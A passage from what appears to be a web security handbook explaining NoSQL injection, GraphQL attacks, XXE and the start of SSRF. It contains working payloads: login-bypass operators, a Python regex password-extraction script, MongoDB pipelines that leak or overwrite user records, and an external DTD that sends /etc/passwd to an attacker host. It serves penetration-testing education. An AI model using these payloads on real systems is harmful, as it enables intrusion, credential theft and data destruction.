Then simply put JSON instead of URL parameters in your body, to see if the server still accepts the request with data in that format. If this works, you can try some NoSQL Injection as seen above.

{% code title="Before (URL parameters)" %}

```php
username=user&password=pass
```

{% endcode %}

{% code title="After (JSON)" %}

```json
{
  "username": "user",
  "password": "pass"
}
```

{% endcode %}

To quickly do this in a proxy like Burp Suite, you can install this extension to easily convert your POST data into JSON, and add the correct header as well:

{% embed url="<https://portswigger.net/bappstore/db57ecbe2cb7446292a94aa6181c9278>" %}
Burp Suite extension to convert the content type of a request
{% endembed %}

## Injection in URL

While this JSON conversion sometimes works, it is not always accepted by the server. However, in **PHP** and possibly other frameworks there is another way to create arbitrary objects and inject NoSQL syntax:

```php
username=admin&password[$ne]=wrong
```

This example will create the following array in PHP, and might trip up NoSQL queries:

```php
array(2) {
  ["username"]=> string(4) "admin"
  ["password"]=> array(1) {
    ["$ne"]=> string(4) "wrong"
  }
}
```

## Extracting data

### Get other data

Often in a NoSQL injection, you are returning an always-true response to get through a login screen. This will return the first true record, which is likely always the first user created. But sometimes you want to log in as the second user, or any other user.

To return specifically that user, you can provide a unique thing about that user if you know it, like a username, while keeping the password always true.

If you don't know anything about other users, you can also simply exclude any user you don't want with the `$nin` (Not IN) keyword, and an array:

{% code title="URL parameters" %}

```php
username[$nin][]=admin&username[$nin][]=other&password[$ne]=wrong
```

{% endcode %}

{% code title="JSON" %}

```json
{
  "username": {
    "$nin": ["admin", "other"]
  },
  "password": {
    "$ne": "wrong"
  }
}
```

{% endcode %}

### RegEx Binary Search

Logging in does not regularly respond with the password for example that we made always true. This results in us being logged in, but not knowing the actual password, while it might still be useful to know this.

A login action typically is a boolean response, resulting in a successful login, or an unsuccessful one. With the powerful NoSQL operators, we can abuse this feedback to slowly extract values from the query character by character, using `$regex`. The RegEx pattern will match if there is a password with that pattern, and fail if there is not.

This can be optimized by using [Binary Search](https://en.wikipedia.org/wiki/Binary_search_algorithm), an algorithm that allows you to cut in half the search space every time you ask a yes/no question. This makes finding any character in ASCII take only $$log\_2(127) \approx 7$$ requests. See the following script for an example:

```python
# A function that returns True if the regex passes
def test_password(regex):
    data = {
        "username": "admin",
        "password": {
            "$regex": regex
        }
    }

    r = requests.post(URL, json=data, allow_redirects=False)

    return not 'Login Failed' in r.text

# Binary Search algorithm
def search_once(test_function, prefix=""):
    min = 0
    max = 127

    while min <= max:
        mid = (min + max) // 2

        if test_function(fr'^{re.escape(prefix)}[\x{mid:02x}-\x7f]'):
            min = mid + 1
        else:
            max = mid - 1

    return chr(max)

# Keep searching until whole string found
def search(test_function):
    found = ""
    while True:
        found += search_once(test_function, prefix=found)
        print(found)

        if test_function(fr'^{found}$'):
            return found

password = search(test_password)
print(password)
```

## Full injections

Sometimes, you may have a larger injection where you **control the whole query**. You can recognize this commonly by a [`$match`](https://www.mongodb.com/docs/manual/reference/operator/aggregation/match/) key in your original input query that the application sends by itself. The server may have an API endpoint for easy querying of products:

```json
POST /api/products HTTP/1.1
Content-Type: application/json
...

[{
  "$match": {
    "instock": true
  }
}]
```

### Aggregate functions (`$match` -> `$lookup`)

The front end may always use the `$match` aggregation, but we as the attacker can use different keywords to perform different actions. A useful one is [`$lookup`](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) which performs a JOIN operation between two collections. This means the response JSON will include extra keys you define from another collection.

The JOIN operation combines collections but does so conditionally. You need to provide one key from the original collection and one from the new collection. Where these keys are the same, all values of the new collection are added to the response. Often you want to do this with the `_id` key if the products are numbered 1,2,3... and your users are as well. Then every `n`th product will also include the `n`th user:

{% tabs %}
{% tab title="Request" %}
In this attack we try to fetch from the `users` collection where the product `_id` matches with the users `_id`

<pre class="language-json"><code class="lang-json">POST /api/products HTTP/1.1
Content-Type: application/json
...

[{
  "$lookup": {
<strong>    "from": "users",
</strong>    "localField": "_id",
    "foreignField": "_id",
    "as": "leak"
  }
}]
</code></pre>

{% endtab %}

{% tab title="Response" %}

<pre class="language-json"><code class="lang-json">HTTP/1.1 200 OK
...

[
  {
    "_id": 2,
    "name": "Second product",
    "price": "1.99",
    "instock": false,
<strong>    "leak": [{ "_id": 2, "username": "user", "password": "hunter2" }]
</strong>  },
  {
    "_id": 1,
    "name": "First product",
    "price": "2.99",
    "instock": true,
<strong>    "leak": [{ "_id": 1, "username": "admin", "password": "P@ssw0rd"}]
</strong>  }
]
</code></pre>

Notice the leak happens when the `_id` matches, because we set our `localField` and `foreignField` to this in the injection
{% endtab %}
{% endtabs %}

The above method requires the collections to have a key in common, which is not always the case. However, there is another more advanced method to JOIN on any condition, using the `"pipeline"` key. This allows you to write another custom query where you can match anything, like `_id` not being empty in the new collection. In the leak, it will now contain every document in the collection at once:

{% tabs %}
{% tab title="Request" %}

```json
POST /api/products HTTP/1.1
Content-Type: application/json
...

[{
  "$lookup": {
    "from": "users",
    "pipeline": [{ "$match": { "_id" : {"$ne": ""}  } }],
    "as": "leak"
  }
}]
```

{% endtab %}

{% tab title="Response" %}

```json
HTTP/1.1 200 OK
...

[
  {
    "_id": 4,
    "name": "Second product",
    "price": "1.99",
    "instock": false,
    "leak": [
      { "_id": 1, "username": "admin", "password": "P@ssw0rd" },
      { "_id": 2, "username": "user", "password": "hunter2" }
    ]
  },
  {
    "_id": 3,
    "name": "First product",
    "price": "2.99",
    "instock": true,
    "leak": [
      { "_id": 1, "username": "admin", "password": "P@ssw0rd" },
      { "_id": 2, "username": "user", "password": "hunter2" }
    ]
  }
]
```

{% endtab %}
{% endtabs %}

### Write data

You can do a lot with NoSQL Injection when you control the query. You might expect a `query` to only retrieve data, but with large enough control over the query you can actually alter collections and write them out to the database. By combining multiple operators we can do the following:

1. `$skip`: Get rid of any original response (`products`), to create an empty list
2. `$unionWith`: Add all documents from the `users` collection to the response
3. `$set`: Alter specific keys in the response, and write our data
4. `$out`: Write the response to a collection, overwriting all data

All of these combined into a payload will allow you to go from a `products` query, to overwriting any data in the `users` collection. You could for example set the `"password": "hacked"` for all users, including yourself:

```json
[
  {"$skip": 999},
  {"$unionWith": "users"},
  {"$set": {"password": "hacked"}},
  {"$out": "users"}
]
```

The above query will create an altered `users` collection and write it. Here is a step-by-step walkthrough of the response:

{% tabs %}
{% tab title="0. Start" %}

```json
[]
```

{% code title="Response" %}

```json
[
  {
    "_id": 2,
    "name": "Second product",
    "price": "1.99",
    "instock": false,
  },
  {
    "_id": 1,
    "name": "First product",
    "price": "2.99",
    "instock": true,
  }
]
```

{% endcode %}
{% endtab %}

{% tab title="1. $skip" %}

```json
  {"$skip": 999},
```

{% code title="Response" %}

```json
[]
```

{% endcode %}
{% endtab %}

{% tab title="2. $unionWith" %}

```json
  {"$unionWith": "users"},
```

{% code title="Response" %}

```json
[
  {
    "_id": 1,
    "username": "admin",
    "password": "P@ssw0rd"
  },
  {
    "_id": 2,
    "username": "user",
    "password": "hunter2"
  }
]
```

{% endcode %}
{% endtab %}

{% tab title="3. $set" %}

```json
  {"$set": {"role": "admin"}},
```

{% code title="Response" %}

```json
[
  {
    "_id": 1,
    "username": "admin",
    "password": "hacked"
  },
  {
    "_id": 2,
    "username": "user",
    "password": "hacked"
  }
]
```

{% endcode %}
{% endtab %}

{% tab title="4. $out" %}

```json
  {"$out": "users"}
```

Empty response, but the `users` collection is now saved as:

```json
[
  {
    "_id": 1,
    "username": "admin",
    "password": "hacked"
  },
  {
    "_id": 2,
    "username": "user",
    "password": "hacked"
  }
]
```

{% endtab %}
{% endtabs %}

{% hint style="warning" %}
This can also be really useful in further attacks by inserting data some other system doesn't expect. Such as XSS, Insecure Deserialisation, or more injection attacks
{% endhint %}

## Filter Bypass

In most examples above, I used the `$ne` operator. But there are lots more ways to achieve an always-true result. For example:

```json
"$regex": ".*"  // Regular Expression
"$exists": true  // If any record exists
"$gt": "A"  // Greater than
"$lt": "z"  // Less than
```

## $where

MongoDB is a popular NoSQL framework, but sometimes still allows for a string injection like regular SQL Injection. Sometimes your input will end up in a `$where` clause with a condition similar to the following:

```javascript
`return (this.username == '${username}' && this.password == '${password}')`
```

In the same way as SQL Injection, you can make this condition always true by injecting one of the following in the `username` field:

```javascript
' || 1==1//
' || 1==1%00
```

Another simple way to make one statement true without many special characters:

```javascript
'=='
```

For more payloads for the same idea see [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection#mongodb-payloads).

{% hint style="info" %}
**Note**: While it seems we are injecting into server-side JavaScript code, this language from MongoDB is very restricted and in modern versions does **not** have much use for attackers. However, in **very old** versions it might be possible to get [Remote Code Execution](https://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/) from this
{% endhint %}

## Similar Injections

With these ORM solutions becoming more popular, and developers forgetting it's possible to create object structures in most frameworks with your request, many different databases are vulnerable in a similar way. While NoSQL Injection on MongoDB is the most well-known, the idea of using operators like `$ne` or `$regex` are not exclusive to it, and might exist just with different names. be sure to check out the documentation if you are unsure.

### Apache CouchDB

See the [Selector Syntax](https://docs.couchdb.org/en/stable/api/database/find.html#selector-syntax) for a full guide. Anywhere the `$` operators can be used just **like with MongoDB**, there is basically no difference in attacking:

{% code title="Login Bypass" %}

```json
{
  "username": "admin",
  "password": {
    "$ne": "wrong"
  }
}
```

{% endcode %}

{% code title="Regex Extraction" %}

```json
{
  "username": "admin",
  "password": {
    "$regex": "^a"
  }
}
```

{% endcode %}

### Prisma

See [Filter Conditions and Operators](https://www.prisma.io/docs/reference/api-reference/prisma-client-reference#filter-conditions-and-operators) for a full list. Similar to MongoDB, the common [Prisma](https://www.prisma.io/) ORM allows using operators anywhere in your query object. This can happen when you inject directly into the `where:` clause, which is very common:

<pre class="language-javascript" data-title="Vulnerable example"><code class="lang-javascript">app.post("/login", async (req, res) => {
  const { email, password } = req.body;

  const user = await prisma.user.findFirst({
<strong>    where: { email, password },
</strong>  });
</code></pre>

{% hint style="info" %}
**Note**: not all functions are vulnerable to this, because they don't all support operators. `findUnique()`, for example, is safe. Check out this article for more details on mitigations:

{% embed url="<https://www.aikido.dev/blog/prisma-and-postgresql-vulnerable-to-nosql-injection#exploiting-operator-injection-in-prisma>" %}
Explanation of the technique specific to Prisma and mitigations
{% endembed %}
{% endhint %}

As types in JavaScript are only a suggestion, developers need to explicitly validate their types to ensure attackers can't send objects though. If they can, it's possible to negate conditions just like MongoDB:

{% code title="Login Bypass" %}

```json
{
  "username": "admin",
  "password": {
    "not": "wrong"
  }
}
```

{% endcode %}

It's also possible to leak other potentially matching strings by iterating through prefixes:

{% code title="Char-by-char Extraction" %}

```json
{
  "username": "admin",
  "password": {
    "startsWith": "a"
  }
}
```

{% endcode %}

{% hint style="info" %}
You can get creative with [`OR`](https://www.prisma.io/docs/reference/api-reference/prisma-client-reference#or) and [`startsWith`](https://www.prisma.io/docs/reference/api-reference/prisma-client-reference#startswith) operators to specify half of the possibilities like in [#regex-binary-search](#regex-binary-search "mention") to achieve the optimized performance again
{% endhint %}


# GraphQL

Query structured data through an API and perform mutations with authorization

## Enumeration

[GraphQL](https://graphql.org/) is an alternative to a REST API, it automatically exposes all data through one endpoint and lets the client query whatever they need. It is also possible to *write* data. fully replacing the need for regular API endpoints. Of course, this should be guarded by authorization checks to ensure you cannot read data you're not supposed to.

While using an application with GraphQL, the client-side JavaScript code will make fetches to a `/graphql` endpoint. Note that it may be in a subdirectory or renamed, but you should find it in your request history after browsing some data.

### Introspection

When having found such an endpoint, you want to get the "documentation" to understand what kind of queries you can write. There is a built-in feature called *introspection* where you send a special kind of query, which the server recognizes and returns documentation. Not all servers have this enabled, but if it is, this will make your life much easier.

Below is an example request to check if a GraphQL endpoint has introspection enabled:

```http
POST /graphql HTTP/2
Host: example.com
Content-Type: application/json

{"query": "query { __schema { types { name } } }"}
```

As you can see, a `query` parameter is set to a string version of the query in the body. All introspection queries use the `__schema` key, and here we request the names of all types. A successful response would be something like the following:

<pre class="language-json"><code class="lang-json">{
  "data": {
    "__schema": {
      "types": [
        {"name": "Boolean"},
<strong>        {"name": "CustomType1"},
</strong>        {"name": "Float"},
        {"name": "ID"},
        {"name": "Int"},
        {"name": "Query"},
<strong>        {"name": "SomeOtherCustomType"},
</strong>        {"name": "String"},
        {"name": "StringQueryOperatorInput"},
        {"name": "__Directive"},
        ...
</code></pre>

Instead of exploring these manually ([which you can](https://portswigger.net/web-security/graphql#exploiting-unsanitized-arguments#discovering-schema-information)), tools exist that send these introspection queries to build a schema. You can then read the schema and write queries with auto-completion.

If you're lucky, your target has a URL like `/graphiql` or responds to `GET /graphql` with a playground where you can test the API. However, in more hardened environments this is often not the case. You can however use a regular tool like [Apollo Sandbox](https://www.apollographql.com/docs/apollo-server/v2/testing/graphql-playground) with a URL pointing to your target to send and receive data from there, while having a nice UI.

To aid in this, I created a simple wrapper where you can specify your own URL. You can open this in an empty browser profile with web security disabled to allow CORS without the target having to configure it. Apollo Sandbox allows you to add custom required headers and you can copy over the cookies from your regular authenticated session on your target.

{% embed url="<https://github.com/JorianWoltjer/graphiql-always>" %}
Interact with any GraphQL endpoint using a nice UI
{% endembed %}

With an introspection response, you can let the following tool generate all possible queries to play around with if you don't want to manually write these queries (although Apollo Sandbox can help with this too):

{% embed url="<https://github.com/doyensec/GQLSpection>" %}
Generate all possible queries from an introspection
{% endembed %}

{% hint style="info" %}
**Tip**: if you encounter or receive a SDL-formatted GraphQL schema (type syntax), you can turn it into JSON introspection data using this simple tool:

{% embed url="<https://transform.tools/graphql-to-introspection-json>" %}
Convert GraphQL SDL into JSON format for tools
{% endembed %}
{% endhint %}

### Guessing Schema with Hints

There are reasons for GraphQL APIs to disable introspection, in this case the tool above won't be able to auto-complete queries or fields. What you can do instead is try to fuzz for the right keywords. Often these APIs still give *suggestions* on your queries if a name is not recognized. With a good wordlist you can often recover a large portion of the API with this method.

The following tool implements this:

{% embed url="<https://github.com/nikitastupin/clairvoyance>" %}
Fuzz GraphQL APIs to find names and build a schema
{% endembed %}

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ clairvoyance --help
</strong>usage: clairvoyance [-h] [-v] [-i &#x3C;file>] [-o &#x3C;file>] [-d &#x3C;string>] [-H &#x3C;header>] [-c &#x3C;int>] [-w &#x3C;file>] [-wv] [-x &#x3C;string>] [-k]
                    [-m &#x3C;int>] [-b &#x3C;int>] [-p {slow,fast}] [--progress]
                    url

positional arguments:
  url

options:
  -h, --help            show this help message and exit
  -v, --verbose
  -i &#x3C;file>, --input-schema &#x3C;file>
                        Input file containing JSON schema which will be supplemented with obtained information
  -o &#x3C;file>, --output &#x3C;file>
                        Output file containing JSON schema (default to stdout)
  -d &#x3C;string>, --document &#x3C;string>
                        Start with this document (default query { FUZZ })
  -H &#x3C;header>, --header &#x3C;header>
  -c &#x3C;int>, --concurrent-requests &#x3C;int>
                        Number of concurrent requests to send to the server
  -w &#x3C;file>, --wordlist &#x3C;file>
                        This wordlist will be used for all brute force efforts (fields, arguments and so on)
  -wv, --validate       Validate the wordlist items match name Regex
  -x &#x3C;string>, --proxy &#x3C;string>
                        Define a proxy to use for all requests. For more info, read
                        https://docs.aiohttp.org/en/stable/client_advanced.html?highlight=proxy
  -k, --no-ssl          Disable SSL verification
  -m &#x3C;int>, --max-retries &#x3C;int>
                        How many retries should be made when a request fails
  -b &#x3C;int>, --backoff &#x3C;int>
                        Exponential backoff factor. Delay will be calculated as: `0.5 * backoff**retries` seconds.
  -p {slow,fast}, --profile {slow,fast}
                        Select a speed profile. fast mod will set lot of workers to provide you quick result but if the server as
                        some rate limit you may want to use slow mod.
  --progress            Enable progress bar
</code></pre>

After running the tool and receiving an output `schema.json` file, you can upload this to *GraphiQL Explorer* together with your endpoint to receive auto-completion and view the schema while querying.

For better results, it is recommended to create a **custom wordlist** from as much information as you can find from your target. This can be as simple as running a `\w+` regex over the text to find and extract all unique words that may potentially be query names or fields. Use the `-w` option to provide it to clairvoyance.

Note that while looking at the target's JavaScript files, you can already often find some GraphQL queries stored in there as it is always the browser that requests them. Search for keywords like `query` or `mutation` .

## Features

The basic concepts of GraphQL are explained in the tutorial below:

{% embed url="<https://www.howtographql.com/basics/2-core-concepts/>" %}
Explaining how the GraphQL concepts relate to each other
{% endembed %}

In summary, you have [*types* with *fields*](https://graphql.org/learn/schema/). You can [*query*](https://graphql.org/learn/queries/) these types for exactly the fields that you require, or call specific *mutations* that have server-side logic implemented for them.

### Arguments & Variables

Fields can also have arguments, these are common for filtering results. In your query you fill in these arguments with values.

Queries can also contain arguments, and you can leave these generic to fill them with a separate `variables` parameter. In a request, this looks like:

{% code title="Query with $name variable" %}

```graphql
query ExampleQuery($name: String!) {
  someQuery(arg: $name) {
    id
  }
}
```

{% endcode %}

<pre class="language-http" data-title="Request"><code class="lang-http">POST /graphql HTTP/2
Host: example.com
Content-Type: application/json

<strong>{"query":"query ExampleQuery(...", "variables": {"name": "value"}}
</strong></code></pre>

This is a common pattern for applications because the query can be cached, but only the variable data is unique.

### Mutations

The server can implement functions to handle changes in data, which you can call from GraphQL. These [mutations](https://graphql.org/learn/mutations/) often also use variables as explained above, and have a very similar structure to queries:

{% code title="Mutation with $name variable" %}

```graphql
mutation ExampleMutation($name: String!) { 
  createUser(name: $name) {
    id
    name
  }
}
```

{% endcode %}

{% code title="Request" %}

```http
POST /graphql HTTP/2
Host: example.com
Content-Type: application/json

{"query":"mutation ExampleMutation(...", "variables": {"name": "value"}}
```

{% endcode %}

The variables will be substituted in the query and the server will perform whatever logic it has implemented. The fields `id` and `name` specified inside the function call will be returned after it is done.

You can run multiple mutations in series by providing multiple [*aliases*](https://graphql.org/learn/queries/#aliases) for different functions calls:

{% code title="Multiple mutations" %}

```graphql
mutation { 
  firstUser: deleteUser(id: "42")
  secondUser: deleteUser(id: "1337")
}
```

{% endcode %}

More information about the HTTP requirements for a standard server endpoint can be found in the documentation below:

{% embed url="<https://graphql.org/learn/serving-over-http/>" %}
Specification on how servers should behave over HTTP
{% endembed %}

### WebSockets

Instead of HTTP, there is also a common library that adds communication via WebSockets:

{% embed url="<https://github.com/enisdenjo/graphql-ws>" %}

The structure and handlers of this are slightly different from the regular HTTP API, so you may see different behavior like one allowing introspection while the other does not.

The [WebSocket protocol](https://github.com/enisdenjo/graphql-ws/blob/master/PROTOCOL.md) is very similar, apart from some protocol changes, queries are the exact same. Below is an example *client* that queries another server over WebSockets:

```html
<script type="module">
import { createClient } from 'https://cdn.jsdelivr.net/npm/graphql-ws@6.0.4/+esm'

const client = createClient({
  url: "ws://localhost:4000/graphql",
});
console.log("Client connected", client);

(async () => {
  const query = client.iterate({
    query: "{ hello }",
  });

  const { value } = await query.next();
  console.log(value); // { hello: "world" }
})().catch((e) => console.error(e.message));
</script>
```

## Attacks

### Data Leak & IDOR

One common mistake in GraphQL is accidentally exposing too many properties.\
**You should enumerate all fields for every object in every query**. Developers may unintentionally expose properties that should be internal, like a password hash, reset token or 2FA secret.

You can use [#introspection](#introspection "mention") to get an exhaustive list, or fuzz with [#guessing-schema-with-hints](#guessing-schema-with-hints "mention").

Your own user and another user are two very different types. You should be able to see almost all properties of your user, but only a few minimal ones of other users. A naive implementation may just return all properties for all users, potentially exposing too much information if you can get a reference to another user.

Additionally, protections may be set on certain *queries* rather than *fields*. This has the effect that maybe directly requesting something you are not authorized to won't work, but if you indirectly access the field through some other reference it may still be allowed.

This combines well with Insecure Direct Object Reference (IDOR) vulnerabilities if you need to specify an identifier of some kind in a query/mutation argument.

Lastly, it is good to know that a **mutation returns data**. This is often the object you mutated, but may also expose too many properties. The following syntax gets properties of the result of a mutation:

{% code title="Return data from mutation" %}

```graphql
mutation {
  sendMessage(user_id: 1337, message: "Hi!") {
    user {
      password_hash
    }
  }
}
```

{% endcode %}

### Batching

In a single GraphQL request, you can send multiple queries and/or mutations. If they have the same name, you can differentiate them using an *alias* which is a `name:` prefix. This can be useful for bypassing per-request rate limiting because a single request may contain many actions.\
Below is an example for brute-forcing a login form, only the alias that was successful will return a valid token in the response:

{% code title="Batch with aliases" %}

```graphql
mutation  {
  a: login(username: "admin", password: "admin")
  b: login(username: "admin", password: "123456")
  c: login(username: "admin", password: "password")
}
```

{% endcode %}

### CSRF

[Cross-Site Request Forgery (CSRF)](/web/client-side/cross-site-request-forgery-csrf) is a technique where you send a request from an attacker's site straight to the target site, which will be automatically authenticated by the browser adding cookies.

Because GraphQL mutations happen via a simple POST request to a `/graphql` endpoint, implementations of it may also be vulnerable. It is crucial to check if **only cookies provide authentication**, no need for headers. And if so, check the `SameSite=` attribute of the cookie. See the dedicated CSRF page for details on what cases are exploitable and how.

By default, the query and variables are sent with a `Content-Type: application/json` header. This is not directly allowed to be set in a cross-origin request, and the browser will first send a *Preflight* request. If the response to this OPTIONS request says that it may use the JSON content type, only then will the real `fetch()` request you set up be sent.\
There are ways around this by confusing the content type reader, especially if `SameSite=None` or empty by providing alternative headers and a cleverly set up body.

GraphQL also uses a POST request which causes `SameSite=Lax` cookies not to be sent, even in a top-level form navigation. It may however be possible to change the method to GET and write the `query` parameter in the URL, such as:

```url
GET /graphql?query=mutation%20{...
```

#### WebSocket Hijacking

If the server uses [#websockets](#websockets "mention") and only requires `SameSite=None` or empty cookies to authenticate, you can connect with it cross-site. The best thing is that CORS doesn't apply here, you can always **read the response**!

Note that if cookies are `SameSite=Strict`, they will still be sent from subdomains, an XSS or takeover would be enough to compromise the main site in such a case.

All you have to do is connect with the WebSocket, send it a query that will be authenticated as the signed-in victim, and then read the response ([more info](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking)).

#### XS-Search via Timing

If you are able to perform CSRF, but there aren't any interesting mutations, you may still get lucky if there are **queries that search private data**. These are inherently vulnerable to a [XS-Leaks](https://xsleaks.dev/docs/attacks/xs-search/) where you send a request from the attacker's site using `fetch()`, and then measure the time it took to resolve the request. The timing can be amplified by [#batching](#batching "mention") to slowly leak the data matched by a search query in GraphQL.


# XML External Entities (XXE)

Injecting Entities into XML data to read local files and exfiltrate data

{% embed url="<https://portswigger.net/web-security/xxe>" %}
Source of most examples on this page
{% endembed %}

## XML

Extensible Markup Language (XML) is a common data format for defining structures of data that can be nested. The basics are very simple, HTML is basically XML:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>
```

It also allows variables called "entities" to be defined and used throughout the document. These are defined in the Document Type Definition (DTD) using a `<!ENTITY` tag. After that, they can be used anywhere in the document using the `&[name];` syntax:

{% code title="Example of XML Entities" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE document [ <!ENTITY something "381"> ]>
<stockCheck><productId>&something;</productId></stockCheck>
```

{% endcode %}

## External Entities

This becomes more dangerous when we introduce **External Entities**. These can reference local files or remote URLs:

{% code title="Example of a local file" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
```

{% endcode %}

{% code title="Example of a remote URL" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://127.0.0.1/endpoint?key=value"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
```

{% endcode %}

These become exploitable when an attacker can inject such entities into a document that will be parsed by the server, and then the result is returned in the response. You could easily read a local file like this, or make any GET request by the server (SSRF).

## Blind XXE

In some cases, the document you send to the server is not directly returned back to you, only parsed by the server. All hope is not lost, as there are still various different techniques to make it exploitable.

These can be easily detected with out-of-band detection. Tools like [`interactsh-client`](https://github.com/projectdiscovery/interactsh) can set up a domain that listens for DNS and HTTP requests, and you can send this domain as an external entity to see if a callback happens:

```xml
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>
```

### External DTDs

The goal of most XXE injections is to exfiltrate a local file. Using entities, we can load a file into a variable, and we can make a DNS/HTTP request to any fixed URL. But we can combine the two with External DTDs, which allow the **nesting** of entities using special "parameter entities". You can recognize these by the `%` percentage sign during definition and are used with the `%[name];` syntax.

This allows us to define a `file` entity, and then put this entity into the URL of another entity. Once these are used anywhere in the document, the contents of the file are put in the URL and the request is made:

{% code title="malicious.dtd" %}

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
```

{% endcode %}

The catch is that External DTDs need to be, well, **external**. This means they cannot be inside of your initial payload and must be fetched from a local file or a remote URL. An attacker can host the file above, and then create the XXE injection attack with the following payload:

```xml
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>
```

### Error Based

A server might be hardened so that it cannot make random outgoing connections to your attacker's website, either to fetch the External DTD or to exfiltrate the file contents. In this case, two new techniques can be combined to still exfiltrate local files.

An application might return details about an error when something goes wrong during the parsing of the XML document. One such error would be if it cannot find the local file specified in the entity. We can abuse this by defining a `%file;` entity again, and then using the file contents in the **path** of another entity, showing those contents in an error message:

{% code title="malicious.dtd" %}

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```

{% endcode %}

{% code title="Example response" %}

```java
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
```

{% endcode %}

Now you might be thinking, how do we load that external entity if outgoing connections are blocked? And this is where the second technique comes in.

On many systems, there are **existing** XML **DTDs** that can be repurposed by us attackers to do something similar to what you see above. One simple example is the\
`/usr/share/xml/fontconfig/fonts.dtd`\
file with the following content:

{% code title="fonts.dtd" %}

```xml
<!ENTITY % expr 'int|double|string|matrix|bool|charset|langset
      |name|const
      |or|and|eq|not_eq|less|less_eq|more|more_eq|contains|not_contains
      |plus|minus|times|divide|not|if|floor|ceil|round|trunc'>
[...]
<!ELEMENT test (%expr;)*>
```

{% endcode %}

The danger here is that an attacker can define this `%expr;` variable **before** it is defined here, and only the first definition will be used. From here, the attacker can escape the context using `)>` to add their own entities as if it were an external DTD that they control:

```xml
<!DOCTYPE message [
    <!-- Define the file path -->
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
    <!-- Overwrite the %expr; entity to inject our error-based entities -->
    <!ENTITY % expr 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>

    <!-- Load the local DTD now that it is set up -->
    %local_dtd;
]>
<message></message>
```

The payload needed will depend on what variables you can overwrite, and the context they are in. Template payloads on 5 different example contexts can be found here:

{% embed url="<https://github.com/GoSecure/dtd-finder/blob/2c69ee0be7ab62dd470f0057799577d887782ead/src/main/kotlin/EntityTester.kt#L139-L223>" %}
5 different context escapes using local DTDs
{% endembed %}

Here are a few more paths where you might find an existing exploitable DTD:

<details>

<summary>Wordlist (<a href="https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation/">source</a>)</summary>

```
./properties/schemas/j2ee/XMLSchema.dtd
./../properties/schemas/j2ee/XMLSchema.dtd
./../../properties/schemas/j2ee/XMLSchema.dtd
/usr/share/java/jsp-api-2.2.jar!/javax/servlet/jsp/resources/jspxml.dtd
/usr/share/java/jsp-api-2.3.jar!/javax/servlet/jsp/resources/jspxml.dtd
/root/usr/share/doc/rh-python34-python-docutils-0.12/docs/ref/docutils.dtd
/root/usr/share/doc/rh-python35-python-docutils-0.12/docs/ref/docutils.dtd
/usr/share/doc/python2-docutils/docs/ref/docutils.dtd
/usr/share/yelp/dtd/docbookx.dtd
/usr/share/xml/fontconfig/fonts.dtd
/usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd
/usr/lib64/erlang/lib/docbuilder-0.9.8.11/dtd/application.dtd
/usr/share/boostbook/dtd/1.1/boostbook.dtd
/usr/share/boostbook/dtd/boostbook.dtd
/usr/share/dblatex/schema/dblatex-config.dtd
/usr/share/struts/struts-config_1_0.dtd
/opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd
```

</details>

This technique will allow you to again get the file contents in the error message, without needing any outgoing connection to your server.

## XSLT Injection

{% embed url="<https://book.hacktricks.xyz/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations>" %}
A similar technique using transformation language to read/write files and execute code
{% endembed %}

## PHP

In case the library loading XML is written in [PHP](/languages/php), it may benefit from features such as PHP Wrappers, combined with the confusing flags in `libxml` can make for complex chains with different types of entities and edge cases. See the writeup below for details:

{% embed url="<https://swarm.ptsecurity.com/impossible-xxe-in-php/>" %}
Exploiting PHP libxml with seemingly correct protection flags
{% endembed %}


# Server-Side Request Forgery (SSRF)

Make servers send requests on your behalf to internal services with URL parsing tricks

Server-Side Request Forgery is triggering a server to make *arbitrary* requests for you. Often through functionality that looks up some resource via a URL or a proxy-like functionality that intentionally lets you craft any request. If the vulnerable server is inside some private network, requests to internal services can be made that an attacker normally isn't able to reach.

Before attacking every URL field you see, you should check whether it is really the **server** making the request or just your own **browser** via `fetch()`. You won't gain anything from your own browser as you're already in that network. But a server may be in other networks.

**Debug** by making it request your own server first, then change the target to what you actually want to reach. requestrepo is a simple tool that gives you a unique subdomain which logs DNS and HTTP/HTTPS requests in full.

{% embed url="<https://requestrepo.com/>" %}

{% hint style="success" %}
